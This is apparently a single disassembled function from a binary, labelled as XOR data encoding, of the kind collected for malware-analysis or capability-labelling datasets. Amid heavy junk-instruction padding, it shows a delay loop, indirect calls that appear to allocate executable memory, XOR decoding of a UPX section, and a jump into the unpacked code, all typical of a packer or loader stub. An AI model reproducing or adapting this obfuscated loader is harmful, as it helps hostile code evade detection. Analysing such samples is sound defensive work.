Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x71564ebf
not edx
add eax, 0x44582046
not edx
popal
mov eax, 0x910ce274
inc eax
add eax, edx
mov ecx, 0
mov edx, ebx
add esi, edi
mov esi, edi
add esi, esi
mov eax, edx
mov esi, edi
mov esi, 0x65bc6464
mov edi, esi
mov ebx, eax
not edi
mov esi, edi
inc ecx
and edi, edi
mov esi, edi
not esi
cmp ecx, 0x100d81e
jne 0xa789ca
inc esi
sub esi, edi
dec esi
and edx, edx
not edx
mov edi, 0xa78796
add eax, 0x673785b9
mov eax, 0x495b845
mov edx, 0xa7898a
add ebx, 0xed9ee009
sub ebx, 0x8e06047b
and ecx, eax
mov esi, dword [edi]
and ecx, ebx
mov ebx, 0x449f7eab
add eax, eax
and esi, 0xff
inc ebx
and ebx, ebx
xor dword [edx], esi
mov ecx, eax
mov ecx, 0xcfd46990
inc edx
dec ebx
mov ebx, eax
inc edi
sub ecx, 0x672cded5
sub ecx, eax
mov ecx, 0x1761e2ff
cmp edx, entry0
jl 0xa78a21
sub ebx, 0x2a83af3
mov ebx, 0xe0f9eb10
or ebx, ecx
not ebx
add eax, ebx
dec ebx
add edi, 0xee6feb9c
or ebx, edx
mov ecx, 0xa7898e
add esi, 0xa42457f
not esi
mov ecx, dword [ecx]
add edx, 0xc08d14c8
mov esi, edx
sub edi, 0x664b996d
mov ecx, dword [ecx]
not esi
or esi, esi
push ecx
mov edi, ebx
sub ebx, 1
mov ecx, 0xa7898a
inc ebx
not edi
mov ecx, dword [ecx]
or esi, edi
add edx, edx
inc esi
mov ecx, dword [ecx]
add edx, 1
mov ebx, 0x6e467162
sub esi, ebx
push 0xa78992
not edx
sub esi, 0xa8aabfd6
sub edi, esi
call ecx
add esi, 0xd36cfe37
or esi, esi
inc edx
mov ecx, dword [esp]
add esp, 4
mov ebx, edi
or esi, edx
sub edi, edx
push 0xa7899f
mov edx, ebx
not edi
add esi, ebx
push eax
add ebx, 0xe0f2edf
not edi
call ecx
inc ebx
not edi
push 0x40
inc ebx
mov edx, 0xf0e1043
mov ebx, esi
sub esp, 4
mov dword [esp], 0x3000
add edx, edi
sub edx, esi
push 0x20000c5e
and esi, esi
mov ebx, edx
sub esp, 4
mov dword [esp], 0
sub edi, esi
or edx, esi
sub edx, 0x2dc57bcf
call eax
inc edx
sub ebx, edi
mov esi, edx
add eax, 0x20000b9e
sub esi, edi
add ebx, 0xed9e3fdc
mov ecx, 0x4fc7a5bb
or ebx, edi
mov edi, ebx
mov dword [eax], ecx
or edx, edi
sub ebx, 1
mov ecx, dword [eax]
and edx, esi
mov edx, edi
cmp ecx, 0x4fc7a5bb
je 0xa78b74
mov eax, 0
mov cl, byte [eax]
add ebx, edi
or edx, ebx
and ebx, ebx
add edi, 0xbef7289f
and edi, esi
sub edx, eax
or eax, edx
mov esi, section.UPX1
and eax, edx
mov edx, 0xfae703bc
sub edx, eax
mov edi, 0xa78795
add edx, 0xbdccb0d
mov eax, 0x841f2809
mov ecx, 0
not eax
and eax, eax
add edx, 0x2bf239aa
mov ebx, 0xa78796
sub eax, edx
and eax, edx
add eax, 0x8b81554e
lea ebx, [ebx + ecx]
sub eax, edx
sub edx, eax
sub edx, eax
mov ebx, dword [ebx]
mov eax, edx
sub eax, 0x3366c42f
and ebx, 0xff
inc eax
sub eax, edx
mov eax, edx
inc ecx
not edx
add edx, eax
inc eax
cmp ecx, 0x1f4
jne 0xa78bf3
mov ecx, 0
inc eax
add edx, 0xc0f0cfc3
not eax
sub eax, 0x4d4f4aad
xor dword [esi], ebx
sub eax, edx
dec eax
add esi, 2
and edx, eax
mov eax, 0xe87d088c
cmp esi, edi
jl 0xa78bb3
and eax, eax
and edx, eax
inc eax
not edx
mov eax, 0x1d75d8b0
or edx, eax
mov eax, section.UPX1
sub edi, ecx
not ecx
mov ebx, section.UPX1
sub edi, 0x7137ae34
or edi, ecx
mov esi, 0xa78795
mov edi, ecx
and edi, ecx
mov edx, 0
add edi, edi
sub ecx, edi
mov dl, byte [ebx]
mov ecx, 0x7bc042a4
and edi, edi
mov byte [eax], dl
mov edi, ecx
dec edi
inc eax
sub ecx, 0x20f80718
dec ecx
add edi, 1
add ebx, 2
mov ecx, edi
mov edi, ecx
dec ecx
cmp ebx, esi
jle 0xa78c52
mov edi, ecx
mov edi, ecx
and edi, ecx
dec eax
inc eax
push 0x8dc6a0
inc edx
add edx, 0x54e5fc86
ret